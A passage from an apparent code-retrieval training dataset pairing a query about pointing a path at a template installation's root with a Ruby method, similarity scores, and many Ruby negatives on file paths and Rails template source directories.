"def find_files_recursive (base_directory, relative_path)\n result = []\n directory = File.join(base_directory, relative_path)\n Dir.foreach(directory) do |file|\n relative_file = relative_path.empty? ? file : File.join(relative_path, file)\n if matchesFilters(file, relative_file)\n full_path = File.join(base_directory, relative_file)\n if File.directory?(full_path)\n result = result + find_files_recursive(base_directory, relative_file)\n else\n result << relative_file\n end\n end\n end\n result\n end",
"def relative_directory\n @relative_directory ||= \"_#{label}\"\n end",
"def parent_dirs(file); end",
"def descend()\n @path.scan(%r{[^/]*/?})[0...-1].inject('') do |path, dir|\n yield self.class.new(path << dir)\n path\n end\n end",
"def relative_path(from, to); end",
"def children(with_directory=true)\n with_directory = false if @path == ['.']\n result = []\n Dir.foreach(to_s) {|e|\n next if e == '.' || e == '..'\n if with_directory\n result << Path::Name.create(@path + [e], absolute?)\n else\n result << Path::Name.new(e)\n end\n }\n result\n end",
"def getFullPath(relativePath)\n return @baseDirectory.fullPath + relativePath\n end",
"def simplify_path(str)\n directory_names = str.split('/')\n stack = Stack.new\n\n directory_names.each do |name|\n next if name == '.' || name.empty?\n next stack.pop if name == '..'\n stack.push(\"/#{name}\")\n end\n\n result = ''\n until stack.empty?\n result.prepend(stack.pop || '')\n end\n result == '' ? '/' : result\nend",
"def base_dir(dir_name)\n File.expand_path(dir_name)\n end",
"def generate_file_path(dir, files_to_load)\n Dir.foreach(dir) do |fname|\n unless fname == '.' || fname == '..'\n files_to_load << \"./#{dir}/#{fname}\"\n end\n end\nend",
"def visible_files_under(directory)\n result = []\n if File.exists?(directory)\n allFiles = Dir.entries(directory)\n dirs = allFiles.select{ |f| File.directory?(File.join(directory,f)) &&\n f != '.' && f != '..' }\n files = allFiles.reject{ |f| File.directory?(File.join(directory,f)) }\n result += files\n dirs.each do |subdir|\n result += visible_files_under(File.join(directory,subdir))\n end\n end\n return result\n end",
"def get_files(src)\n files = Array.new\n if File.directory? src\n Find.find(src) do |path|\n next if File.directory? path\n files.push path\n end\n else\n log(\"error: source directory of \\\"#{src}\\\" does not exist!\")\n exit 2\n end\n files.reverse\nend",
"def directory\n File.dirname(@path) + '/'\n end"
] |
[
"0.73436093",
"0.72702956",
"0.7028072",
"0.66749",
"0.6666142",
"0.6632963",
"0.66088873",
"0.66040266",
"0.6506285",
"0.64781827",
"0.64737064",
"0.64565885",
"0.6375378",
"0.6330453",
"0.6306326",
"0.62641954",
"0.62636685",
"0.6248289",
"0.6239016",
"0.6228213",
"0.6216829",
"0.62136924",
"0.6210136",
"0.6204203",
"0.6184688",
"0.6179152",
"0.61651164",
"0.61598307",
"0.612942",
"0.6114875",
"0.6098951",
"0.60901755",
"0.606929",
"0.6054399",
"0.6046803",
"0.604025",
"0.6033008",
"0.60273653",
"0.6016253",
"0.6011466",
"0.60098726",
"0.60025096",
"0.5988402",
"0.5977508",
"0.5973513",
"0.5971808",
"0.5970652",
"0.5968002",
"0.5950898",
"0.59442174",
"0.5938878",
"0.59357184",
"0.5926822",
"0.5924464",
"0.5920744",
"0.5920206",
"0.5915904",
"0.59030914",
"0.58982337",
"0.58962977",
"0.5895894",
"0.58780175",
"0.58666843",
"0.58646226",
"0.5864426",
"0.5862684",
"0.58569974",
"0.58416057",
"0.5839609",
"0.58331424",
"0.58201367",
"0.58186007",
"0.5813942",
"0.5808976",
"0.5803629",
"0.58033216",
"0.58030516",
"0.5802592",
"0.58002585",
"0.57997894",
"0.579425",
"0.5792282",
"0.57836765",
"0.5782445",
"0.576662",
"0.57662475",
"0.574959",
"0.57474744",
"0.5746472",
"0.57433116",
"0.5742081",
"0.573634",
"0.57339865",
"0.57214475",
"0.5719837",
"0.5715567",
"0.5711694",
"0.57026887",
"0.56981665",
"0.5697544"
] |
0.7274677
|
1
|
Change the given path so that it will point to the root of the "template" installation
|
def talia_root(path = '')
File.join('..', '..', '..', '..', path)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def install_template(path)\n puts \"Installing project template to #{path} ...\"\n template_dir = File.expand_path('../template', __FILE__)\n FileUtils.cp_r(\"#{template_dir}/.\", path)\n end",
"def template_path\n File.join path, 'templates'\n end",
"def templates_path=(path)\n @templates_path = path\n end",
"def pathTemplates\n \"./templates/\"\nend",
"def template_path\n \"#{template_dir}/#{template_name}\"\n end",
"def template_path\n File.expand_path('../templates', __FILE__)\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n tempdir = Dir.mktmpdir(\"template-tmp\")\n source_paths.unshift(tempdir + \"/rails/muffi_template\")\n at_exit {FileUtils.remove_entry(tempdir)}\n git clone: [\n \"--quiet\",\n \"https://github.com/abtion/guidelines.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def template_path\n @template_path ||= @env[:templates_path] || default_settings[:templates_path]\n Pathname.new @template_path\n end",
"def template_path\n return File.join(File.dirname(__FILE__), \"../../../templates\", platform)\n end",
"def templates_path\n File.join(File.dirname(__FILE__), '..', 'templates')\n end",
"def template(template)\n @template = \"#{Aina::TEMPLATES_DIR}/#{template}\" if template\n end",
"def add_template_repository_to_source_path\n source_paths.unshift(File.dirname(__FILE__))\nend",
"def template_path\n File.expand_path(File.join(File.dirname(__FILE__), \"template.rb\"))\n end",
"def template_path(template, opts)\n t = template.to_s\n if (v = @_view_subdir) && t !~ /\\//\n template = \"#{v}/#{t}\"\n end\n super\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n source_paths.unshift(tempdir = Dir.mktmpdir(\"rails-template-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git :clone => [\n \"--quiet\",\n TEMPLATE_REPO,\n tempdir\n ].map(&:shellescape).join(\" \")\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def template_path\n path = File.expand_path File.join(@template_options[CONFIG_PATH], @template_options[TEMPLATE_NAME])\n # TODO fix and throw some sort of cool exception\n if !File.exists? path\n path = nil\n end\n return path\n end",
"def setup(template_path, config_path)\n if !File.directory? config_path and !File.exists? config_path\n logger.info \"Config path #{config_path} was not found, creating from template...\"\n FileUtils.mkdir_p(config_path)\n FileUtils.cp_r(Dir[File.join(template_path, \"*\")], config_path)\n elsif !File.directory? config_path\n err_msg = \"Config path #{config_path} exists, but is not a valid gitsy \"\n err_msg += \"configuration directory. Delete it to create a new one from a template.\"\n logger.error err_msg\n raise \"Gitsy is not configured correctly. Please check the logs for more details.\"\n end\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require 'tmpdir'\n source_paths.unshift(tempdir = Dir.mktmpdir('rails-templates'))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n '--quiet',\n 'https://github.com/brightoctopus/rails-templates.git',\n tempdir\n ].map(&:shellescape).join(' ')\n\n if (branch = __FILE__[%r{rails-templates/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n source_paths.unshift(tempdir = Dir.mktmpdir(\"rails-app-template-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git :clone => [\n \"--quiet\",\n \"https://github.com/andersklenke/rails-app-template.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def templates_path\n File.join((File.expand_path '..', File.dirname(__FILE__)), 'templates')\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"rails-template-\"))\n at_exit {FileUtils.remove_entry(tempdir)}\n git clone: [\n \"--quiet\",\n \"https://github.com/sherllochen/rails-template.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{rails-template/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) {git checkout: branch}\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require 'tmpdir'\n require 'fileutils'\n require 'shellwords'\n source_paths.unshift(tempdir = Dir.mktmpdir('rails-template-'))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n '--quiet',\n 'https://github.com/shota-yamashita/rails-template.git',\n tempdir\n ].map(&:shellescape).join(' ')\n\n if (branch = __FILE__[%r{rails-template/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def template_dir\n File.dirname(__FILE__) + '/../cfg'\n end",
"def add_template_repository_to_source_path\n template_dir =\n if __FILE__ =~ %r{\\Ahttps?://}\n clone_repo\n else\n File.dirname(__FILE__)\n end\n\n source_paths.unshift(template_dir)\n puts \"*** source_paths: (#{source_paths.join(\" \")})\"\n puts \"*** template_dir: (#{template_dir})\"\n template_dir\nend",
"def add_template_repository_to_source_path\n template_dir =\n if __FILE__ =~ %r{\\Ahttps?://}\n clone_repo\n else\n File.dirname(__FILE__)\n end\n\n source_paths.unshift(template_dir)\n puts \"*** source_paths: (#{source_paths.join(\" \")})\"\n puts \"*** template_dir: (#{template_dir})\"\n template_dir\nend",
"def add_template_repository_to_source_path\n if __FILE__.match?(%r{\\Ahttps?://})\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"rails-template-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/natsumi/rails-template.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{rails-template/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require 'tmpdir'\n source_paths.unshift(tempdir = Dir.mktmpdir('rails-template-'))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n '--quiet',\n 'https://github.com/leikir/rails-template.git',\n tempdir\n ].map(&:shellescape).join(' ')\n\n if (branch = __FILE__[%r{rails-template/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def templates_path\n File.join(root, TEMPLATES)\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n source_paths.unshift(tempdir = Dir.mktmpdir(\"rails-template-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git :clone => [\n \"--quiet\",\n \"https://github.com/damienlethiec/modern-rails-template\",\n tempdir\n ].map(&:shellescape).join(\" \")\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def template_dir\n @template_dir ||= File.expand_path(File.join(File.dirname(__FILE__), 'templates'))\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"siderail-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n YARG_REPO,\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{siderail/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def local_template(path)\n # Is there a better way to specify alternate template locations with sinatra?\n File.read(File.join(File.dirname(__FILE__), \"server/views/#{path}\"))\n end",
"def template_dir\n File.join(PREFIX, 'share', 'oswitch', 'context')\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"rails-template-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/biximilien/rails-template.git\",\n tempdir,\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{rails-template/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def template_path(path)\n # Add a new template extension here if we need to.\n [ 'haml', 'erb' ].each do |template_extension|\n if path.directory? && (path + \"index.html.#{template_extension}\").file?\n return \"#{path}/index\"\n elsif (path.dirname + (path.basename.to_s + \".html.#{template_extension}\")).file?\n return path.dirname + path.basename.to_s\n end\n end\n nil\n end",
"def template_path\n \n custom_path = File.expand_path(\"./config/deploy/templates/unicorn.service.erb\")\n original_path = File.expand_path(\"../templates/unicorn.service.erb\", __FILE__)\n \n File.exist?(custom_path) ? custom_path : original_path\n end",
"def template_base_path\n @template_base_path ||= Inkblot.vendor_path('templates')\n end",
"def template(*path); end",
"def fix_path!\n @path = path.sub(/^\\~\\//, \"#{ENV['HOME']}/\")\n end",
"def install_template(template_path, destination, options = {})\n # Truncate extension\n tmp_file_path = template_path.gsub(\"/\", \"_\").gsub(/.erb$/, \"\") \n tmp_path = \"/tmp/#{tmp_file_path}\"\n \n options[:user] ||= \"root\"\n \n install_options = []\n install_options << \"-o #{options[:user]}\"\n install_options << \"-m #{options[:mode]}\" if options.has_key?(:mode)\n \n put template.load(template_path), tmp_path \n # TOOD: Ensure directory exists? mkdir -p #{File.dirname(destination)}\n run_via \"install #{install_options.join(\" \")} #{tmp_path} #{destination} && rm -f #{tmp_path}\"\n end",
"def local_template(path)\n # Is there a better way to specify alternate template locations with sinatra?\n File.read(File.join(File.dirname(__FILE__), \"server/views/#{path}\"))\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"rails-template-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/RYLabs/rails-devcontainer-template.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{rails-devcontainer-template/(.+)/rails-postgres.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"jumpstart-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/sleekr/rails_kickstart.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{jumpstart/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"vine-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/bmartel/vine.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{vine/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"jumpstart-\"))\n at_exit {FileUtils.remove_entry(tempdir)}\n git clone: [\n \"--quiet\",\n PROJECT_REPO,\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{jumpstart/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) {git checkout: branch}\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def add_template_repository_to_source_path\n if __FILE__.match? %r{\\Ahttps?://}\n require 'tmpdir'\n tempdir = Dir.mktmpdir 'jumpstart-'\n source_paths.unshift tempdir\n at_exit { FileUtils.remove_entry tempdir }\n git(clone: [\n '--quiet',\n 'https://github.com/cj/jumpstart.git',\n tempdir,\n ].map(&:shellescape).join(' '))\n\n if (branch = __FILE__[%r{jumpstart/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift File.dirname(__FILE__)\n end\nend",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"jumpstarter-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/whatapalaver/jumpstarter.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{jumpstarter/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def copy_template(*args)\n args.each do |path|\n # puts \"Installing #{path}...\".magenta\n remove_file path\n file path, File.read(File.join(@path_templates, path))\n # puts \"\\n\"\n end\nend",
"def init\n FileUtils.mkdir_p home\n FileUtils.mkdir_p home(\"templates\")\n FileUtils.touch home(\"config.yml\")\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require 'tmpdir'\n source_paths.unshift(temp_dir = Dir.mktmpdir('jumpstart-'))\n at_exit { FileUtils.remove_entry(temp_dir) }\n git clone: [\n '--quiet',\n 'https://github.com/drgcms/drg-portal-jumpstart.git',\n temp_dir\n ].map(&:shellescape).join(' ')\n\n if (branch = __FILE__[%r{jumpstart/(.+)/template.rb}, 1])\n Dir.chdir(temp_dir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def register_template_path(path)\n template_paths.unshift(path)\n end",
"def add_template_repository_to_source_path # rubocop:disable Metrics/AbcSize, Metrics/MethodLength\n if __FILE__.match?(%r{\\Ahttps?://})\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"rails-template-pdf-rendering\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/ackama/rails-template-pdf-rendering.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{rails-template/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"jumpstart-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/sikandartariq1/jumpstart.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{jumpstart/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require 'tmpdir'\n source_paths.unshift(tempdir = Dir.mktmpdir('rails-tailwinded-'))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n '--quiet',\n 'https://github.com/beyode/rails-tailwinded.git',\n tempdir\n ].map(&:shellescape).join(' ')\n\n if (branch = __FILE__[%r{rails-tailwinded/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def full_path\n \"templates/#{filename}\"\n end",
"def template_dir_for template\n template_path = File.join 'rdoc', 'generator', 'template', template\n\n $LOAD_PATH.map do |path|\n File.join File.expand_path(path), template_path\n end.find do |dir|\n File.directory? dir\n end\n end",
"def templates_dir\n return File.join(File.dirname(__FILE__), 'server/templates')\n end",
"def templates_dir\n return File.join(File.dirname(__FILE__), 'server/templates')\n end",
"def template_path(template)\n File.join(@root, 'templates', self.class::FILES[template])\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require 'tmpdir'\n source_paths.unshift(tempdir = Dir.mktmpdir('herewego-'))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n '--quiet',\n 'https://github.com/Sanchezdav/herewego.git',\n tempdir\n ].map(&:shellescape).join(' ')\n\n if (branch = __FILE__[%r{herewego/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def pathname\n \"public/themes/#{self.directory_name}/#{self.template_filename}\"\n end",
"def template_dir\n Templates.path_for(template_dir_name)\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n p \"!!!!!!!!!!!!!!!!!!!!\"\n p \"!!!!!!!!!!!!!!!!!!!!\"\n p \"!!!!!!!!!!!!!!!!!!!!\"\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"rails-template-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git :clone => [\n \"--quiet\",\n \"https://github.com/velpradeep/react-rails-template-app.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{rails-template/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git :checkout => branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def template_path( *fns )\n TDP.application.add_template_path(files: fns, freeze: false)\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"ngrok_rails_template-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/captproton/ngrok_rails_template.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{ngrok_rails_template/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def add_template_repo_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"springer-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/troyizzle/springer.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{springer/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def templates_dir\n \"#{RdocInfo.config[:templates_dir]}\"\n end",
"def themes_root(path)\n @themes_root = path\n end",
"def dir_path=(template_file)\n\t\t@dir_path = (/^(.*)\\//.match(template_file)? Regexp.last_match[1]: '.')\n\tend",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require 'tmpdir'\n\n source_paths.unshift(tempdir = Dir.mktmpdir(DIR_NAME + '-'))\n at_exit { FileUtils.remove_entry(tempdir) }\n run(\"git clone --quiet #{GITHUB_PATH.shellescape} #{tempdir.shellescape}\")\n\n if (branch = __FILE__[%r{#{DIR_NAME}/(.+)/bridgetown.automation.rb}, 1])\n Dir.chdir(tempdir) { system(\"git checkout #{branch}\") }\n @current_dir = File.expand_path(tempdir)\n end\n else\n source_paths.unshift(DIR_NAME)\n end\nend",
"def setup_path\n if !@repo.clone_path.nil? and !@repo.clone_path.empty?\n Dir.chdir(@repo.clone_path)\n else\n initial_path_setup\n end\n end",
"def path_to_template name\n \"#{JSPEC_ROOT}/templates/#{name}/.\"\n end",
"def tildize (path)\n\tpath.gsub(`echo $HOME`.chomp, \"~\")\nend",
"def mkpath(path)\n FileUtils.mkpath\n end",
"def add_template_repository_to_source_path\n if __FILE__.match?(%r{\\Ahttps?://})\n require 'shellwords'\n require 'tmpdir'\n\n source_paths.unshift(temp_dir = Dir.mktmpdir('jt_tools-'))\n at_exit { FileUtils.remove_entry(temp_dir) }\n git clone: [\n '--quiet',\n 'https://github.com/jetthoughts/jt_tools.git',\n temp_dir\n ].map { |args| Shellwords.escape(args) }\n .join(' ')\n\n if (branch = __FILE__[%r{jt_tools/(.+)/template.rb}, 1])\n Dir.chdir(temp_dir) { git checkout: branch }\n end\n else\n source_paths.unshift(__dir__)\n end\nend",
"def template_path(template_name, target_name=template_name.chomp('.erb'), mode=0600, locals={'attrs' => attrs})\r\n _package_.build_template(target_name, template_name, mode, locals)\r\n target_path target_name\r\n end",
"def mkpath path\n end",
"def template_path\n File.expand_path(File.join('..', '..', '..', 'templates', \"#{template_name}.erb\"), __FILE__)\n end",
"def template_path(template, node)\n cookbook_name = template.cookbook || template.cookbook_name\n cookbook = node.cookbook_collection[cookbook_name]\n cookbook.preferred_filename_on_disk_location(node, :templates, template.source)\nend",
"def resource_template_dir\n \"#{App.config.resource_directory}/templates\"\n end",
"def create(path)\n self.destination_root = path\n\n copy_file(\".gitignore\")\n copy_file(\"config.ru\")\n copy_file(\"Gemfile\")\n copy_file(\"Procfile\")\n copy_file(\"README.md\")\n\n copy_content\n copy_themes\n end",
"def template_full_path\n @template_full_path ||= [template_base_path, template_filename].join('/')\n end",
"def path(file)\n File.join File.dirname(__FILE__), '../../templates/', file\n end",
"def template_load_path\n @template_load_path ||= File.expand_path(File.dirname(self.filename))\n end",
"def root_path(path) File.join(root, path) end",
"def template_path\n @default_options.fetch(:template_path, nil)\n end",
"def set_path(path)\n path\n end",
"def go_themes\n FileUtils.cd(TXMP_SUPPORT_PATH + \"/themes\")\nend",
"def add_template_path( args )\n files = args[:files]\n if !(options.templates.frozen?)\n files.each do |fn|\n options.templates << File.expand_path(fn)\n end\n end\n if args[:freeze] == true\n options.templates.freeze\n end\n end",
"def scaffold_template_dir\n @scaffold_template_dir ||= TEMPLATE_DIR\n end",
"def template_path\n @template_path ||= Rails.root.join('app', 'assets', 'javascripts', 'templates')\n # @template_path ||= Rails.root.join('app', 'handlebars', 'templates')\n end",
"def template_path(template)\n modulepath.each do | path|\n return path if File.exists?(\"#{path}/easy_type/templates/#{template}\")\n end\n fail \"Template #{template} not found in modulepath #{modulepath}\"\n end",
"def setPath(path)\n @currentPath = path.clone\n @root = @currentPath.getRoot unless path.empty?\n end",
"def path=(path=\"\")\n path = Dir.pwd if not path or path.empty?\n @path = File.expand_path(path)\n end",
"def post_configure\n super\n @path = File.expand_path(path)\n end",
"def set_temp_directory\n @base_theme_directory = 'public/temp/theme_1/'\n @temp_number = 1\n\n # Change value of @base_theme_directory until the folder name does not appear\n until !File.exist?(@base_theme_directory)\n @temp_number = @temp_number + 1\n @base_theme_directory = \"public/temp/theme_#{@temp_number.to_s}/\"\n end\n end",
"def install_root\n self.class.install_root.join(name)\n end",
"def theme_output_root(path)\n @theme_output_root = path\n end",
"def template_file=(template_file)\n\t\t@template_file = template_file\n\t\tself.dir_path = template_file\n\tend",
"def extned_path\n @temp_path = path\n unless name == nil\n self.path = \"app/assets/templates/#{name.downcase}/#{path}.css.scss\"\n end \n end",
"def template_path(name)\n File.join(__dir__, 'config', \"#{name}.yml.erb\")\n end"
] |
[
"0.7516995",
"0.6720837",
"0.66537464",
"0.6586678",
"0.65238374",
"0.64711213",
"0.6431262",
"0.6409483",
"0.638865",
"0.63602954",
"0.6343396",
"0.63279545",
"0.6326482",
"0.6324746",
"0.62838405",
"0.62679446",
"0.6252129",
"0.6245925",
"0.62306434",
"0.62221146",
"0.6203578",
"0.6190923",
"0.61747825",
"0.61659855",
"0.61659855",
"0.6162216",
"0.61617124",
"0.6151049",
"0.6149799",
"0.61490875",
"0.61326724",
"0.61217093",
"0.61172426",
"0.6116282",
"0.61158454",
"0.6113233",
"0.6103791",
"0.60964745",
"0.6085132",
"0.6072031",
"0.6070022",
"0.6068137",
"0.60552436",
"0.60549974",
"0.60547",
"0.60279846",
"0.60256547",
"0.6014725",
"0.5994714",
"0.59849465",
"0.5978715",
"0.59738034",
"0.5949234",
"0.59412766",
"0.5938733",
"0.5935129",
"0.5934909",
"0.5934909",
"0.593227",
"0.59195375",
"0.59180295",
"0.591193",
"0.59032804",
"0.59018797",
"0.58966374",
"0.5893112",
"0.5880902",
"0.58584243",
"0.58568585",
"0.5830986",
"0.5817625",
"0.5811945",
"0.58045346",
"0.57964015",
"0.5794547",
"0.57762283",
"0.57595736",
"0.5759286",
"0.5755663",
"0.57471883",
"0.5734599",
"0.5719697",
"0.57091504",
"0.5704628",
"0.57045346",
"0.5703303",
"0.56937295",
"0.5678357",
"0.56782943",
"0.5664443",
"0.56630194",
"0.56612134",
"0.5647722",
"0.56404",
"0.5616052",
"0.5615118",
"0.56114376",
"0.5610748",
"0.56100494",
"0.5585027",
"0.5584862"
] |
0.0
|
-1
|
Get the absolute file path to the root of the "template" installation
|
def file_root(path = '')
File.expand_path(File.join(File.dirname(__FILE__), '..', '..', '..', path))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def full_template_path\n template_root.join(\"#{@template}.erb\").to_s.squeeze(\"/\")\n end",
"def template_path\n return File.join(File.dirname(__FILE__), \"../../../templates\", platform)\n end",
"def template_path\n path = File.expand_path File.join(@template_options[CONFIG_PATH], @template_options[TEMPLATE_NAME])\n # TODO fix and throw some sort of cool exception\n if !File.exists? path\n path = nil\n end\n return path\n end",
"def template_full_path\n @template_full_path ||= [template_base_path, template_filename].join('/')\n end",
"def template_path\n File.expand_path('../templates', __FILE__)\n end",
